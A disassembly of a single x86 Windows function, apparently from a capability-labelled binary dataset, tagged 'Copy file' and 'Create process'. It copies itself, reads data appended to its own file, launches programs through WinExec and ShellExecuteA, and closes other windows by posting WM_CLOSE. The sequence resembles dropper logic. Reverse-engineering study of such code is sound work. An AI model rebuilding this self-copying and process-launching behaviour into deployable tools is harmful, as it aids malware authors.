Function at 0x409ec8
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xa
push 0
push 0
dec ecx
jne 0x409ed0
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push ebp
push 0x40a46c
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c]
mov eax, 1
call fcn.00402e4c
mov eax, dword [ebp - 0x1c]
mov edx, 0x40a484
call fcn.004017e8
jne 0x409f17
push 1
push 0x40a48c
call sub.kernel32.dll_WinExec
call fcn.00401428
lea edx, [ebp - 0x20]
mov eax, 1
call fcn.00402e4c
mov eax, dword [ebp - 0x20]
mov edx, 0x40a4a0
call fcn.004017e8
je 0x40a005
push 0
lea eax, [ebp - 0x24]
call fcn.00403130
lea eax, [ebp - 0x24]
mov edx, 0x40a4ac
call fcn.004016ac
mov eax, dword [ebp - 0x24]
call fcn.0040189c
push eax
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.00402e4c
mov eax, dword [ebp - 0x28]
call fcn.0040189c
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 4]
call fcn.00401530
call fcn.00402f58
mov esi, eax
test esi, esi
jle 0x409fad
mov ebx, 1
push dword [ebp - 4]
push 0x40a4c4
lea edx, [ebp - 0x2c]
mov eax, ebx
call fcn.00402e4c
push dword [ebp - 0x2c]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00401764
inc ebx
dec esi
jne 0x409f87
push 1
lea eax, [ebp - 0x30]
call fcn.00403130
mov eax, dword [ebp - 0x30]
call fcn.0040189c
push eax
lea eax, [ebp - 0x34]
mov ecx, dword [ebp - 4]
mov edx, 0x40a4d0
call fcn.004016f0
mov eax, dword [ebp - 0x34]
call fcn.0040189c
push eax
lea eax, [ebp - 0x38]
call fcn.00403130
lea eax, [ebp - 0x38]
mov edx, 0x40a4ac
call fcn.004016ac
mov eax, dword [ebp - 0x38]
call fcn.0040189c
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00401428
mov byte [0x40d78c], 0
call fcn.00402f58
mov esi, eax
test esi, esi
jle 0x40a04b
mov ebx, 1
lea edx, [ebp - 0x40]
mov eax, ebx
call fcn.00402e4c
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 0x3c]
call fcn.00405ea4
mov eax, dword [ebp - 0x3c]
mov edx, 0x40a4e0
call fcn.004017e8
jne 0x40a047
mov byte [0x40d78c], 1
inc ebx
dec esi
jne 0x40a01c
cmp byte [0x40d78c], 0
je 0x40a05e
mov eax, dword [edi + 0x18]
xor edx, edx
call fcn.0040386c
lea edx, [ebp - 0x44]
xor eax, eax
call fcn.00402e4c
mov eax, dword [ebp - 0x44]
call fcn.004060a4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov cl, 2
mov edx, 0xfffffffe
call fcn.00405fbc
lea edx, [ebp - 0x16]
mov eax, dword [ebp - 0xc]
mov ecx, 2
call fcn.00405fb4
movzx edx, word [ebp - 0x16]
neg edx
sub edx, 2
mov eax, dword [ebp - 0xc]
mov cl, 2
call fcn.00405fbc
movzx edx, word [ebp - 0x16]
mov eax, 0x40d77c
call fcn.004019c8
mov eax, 0x40d77c
call fcn.004018f0
mov edx, eax
movzx ecx, word [ebp - 0x16]
mov eax, dword [ebp - 0xc]
call fcn.00405fb4
mov eax, dword [0x40d77c]
call fcn.00405f4c
test al, al
jne 0x40a0de
call fcn.00401428
lea eax, [ebp - 0x48]
call fcn.00403130
mov edx, dword [ebp - 0x48]
mov eax, 0x40d780
mov ecx, 0x40a4ec
call fcn.004016f0
push 0
mov eax, dword [0x40d780]
call fcn.0040189c
push eax
mov eax, dword [0x40d77c]
call fcn.0040189c
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x40d780]
call fcn.0040352c
mov dword [0x40d778], eax
mov eax, dword [0x40d778]
add eax, 0x1d
mov edx, 0x40a504
call fcn.00401584
push 0x34
mov eax, 0x40d770
mov ecx, 1
mov edx, dword [0x409360]
call fcn.00401fb0
add esp, 4
xor ebx, ebx
lea eax, [ebp - 0x4c]
push eax
lea edx, [ebp - 0x50]
mov eax, ebx
call fcn.00405e30
mov edx, dword [ebp - 0x50]
mov eax, dword [0x40d778]
xor ecx, ecx
call fcn.00403474
mov edx, dword [ebp - 0x4c]
mov eax, dword [0x40d770]
lea eax, [eax + ebx*4]
call fcn.00401584
inc ebx
cmp ebx, 0x34
jne 0x40a152
cmp byte [0x40d78c], 0
jne 0x40a224
mov eax, 0x1f
call fcn.00409960
test al, al
je 0x40a224
movzx edx, word [ebp - 0x16]
neg edx
sub edx, 6
mov eax, dword [ebp - 0xc]
mov cl, 2
call fcn.00405fbc
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov ecx, 4
call fcn.00405fb4
mov edx, dword [ebp - 0x14]
neg edx
movzx eax, word [ebp - 0x16]
sub edx, eax
sub edx, 6
mov eax, dword [ebp - 0xc]
mov cl, 2
call fcn.00405fbc
call fcn.00403414
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call fcn.00409a4c
xor edx, edx
xor eax, eax
call fcn.00407af0
mov dword [0x40d774], eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
xor edx, edx
call fcn.00405fbc
mov eax, dword [0x40d774]
mov edx, dword [ebp - 0x10]
call fcn.00404af4
mov eax, dword [ebp - 0x10]
call fcn.0040563c
mov eax, dword [ebp - 0xc]
call fcn.0040563c
mov eax, dword [0x40d770]
mov edx, dword [eax + 0x60]
mov eax, dword [edi + 0x18]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 0x60]
mov eax, dword [0x40c458]
mov eax, dword [eax]
call fcn.00406ed4
cmp byte [0x40d78c], 0
jne 0x40a36d
mov eax, dword [0x40d770]
mov edx, dword [eax]
mov eax, dword [edi + 0x2c]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 4]
mov eax, dword [edi + 0x5c]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 8]
mov eax, dword [edi + 0x30]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 0xc]
mov eax, dword [edi + 0x48]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 0x10]
mov eax, dword [edi + 0x4c]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 0x38]
mov eax, dword [edi + 0x58]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 0x3c]
mov eax, dword [edi + 0x54]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 0x44]
mov eax, dword [edi + 0x64]
call fcn.00406ed4
mov eax, dword [0x40d770]
mov edx, dword [eax + 0x48]
mov eax, dword [edi + 0x28]
call fcn.00406ed4
mov eax, 0x1c
call fcn.00409960
mov edx, eax
mov eax, dword [edi + 0x68]
call fcn.0040386c
mov eax, dword [0x40d770]
mov edx, dword [eax + 0x78]
mov eax, dword [edi + 0x68]
call fcn.00406ed4
mov eax, dword [edi + 0x68]
mov edx, 0x8000000f
call fcn.00407330
mov eax, 0x30
call fcn.00409988
mov edx, eax
mov eax, dword [edi + 0x48]
call fcn.00407288
mov eax, 0x31
call fcn.00409988
mov edx, eax
mov eax, dword [edi + 0x48]
call fcn.004072b8
mov eax, 0x32
call fcn.00409988
mov edx, eax
mov eax, dword [edi + 0x4c]
call fcn.00407288
mov eax, 0x33
call fcn.00409988
mov edx, eax
mov eax, dword [edi + 0x4c]
call fcn.004072b8
mov eax, 0x19
call fcn.00409960
test al, al
je 0x40a42f
lea eax, [ebp - 4]
mov edx, dword [0x40d770]
mov edx, dword [edx + 0x68]
call fcn.004015c8
mov eax, 0x1b
call fcn.00409988
cmp eax, 2
jge 0x40a409
mov ebx, 1
xor esi, esi
jmp 0x40a3ff
mov esi, ebx
mov eax, 0x1b
call fcn.00409988
sub eax, 1
jb 0x40a3bd
je 0x40a3d1
jmp 0x40a3db
mov eax, dword [ebp - 4]
call fcn.0040189c
push eax
push 0
call sub.user32.dll_FindWindowA
mov ebx, eax
jmp 0x40a3db
mov eax, dword [ebp - 4]
call fcn.00409bc8
mov ebx, eax
test ebx, ebx
je 0x40a3ff
mov eax, dword [0x40c458]
mov eax, dword [eax]
cmp ebx, dword [eax + 0x28]
je 0x40a3ff
mov eax, dword [edi + 0x18]
cmp ebx, dword [eax + 0x28]
je 0x40a3ff
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_PostMessageA
test ebx, ebx
je 0x40a42f
cmp ebx, esi
jne 0x40a3a8
jmp 0x40a42f
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00405ea4
call fcn.00408ad4
cmp al, 3
jbe 0x40a427
mov eax, dword [ebp - 8]
call fcn.00409d8c
jmp 0x40a42f
mov eax, dword [ebp - 8]
call fcn.00409c84
cmp byte [0x40d78c], 0
je 0x40a444
mov eax, edi
call fcn.0040ab5c
call fcn.00401428
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a473
lea eax, [ebp - 0x50]
mov edx, 0xe
call fcn.00401554
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401554
ret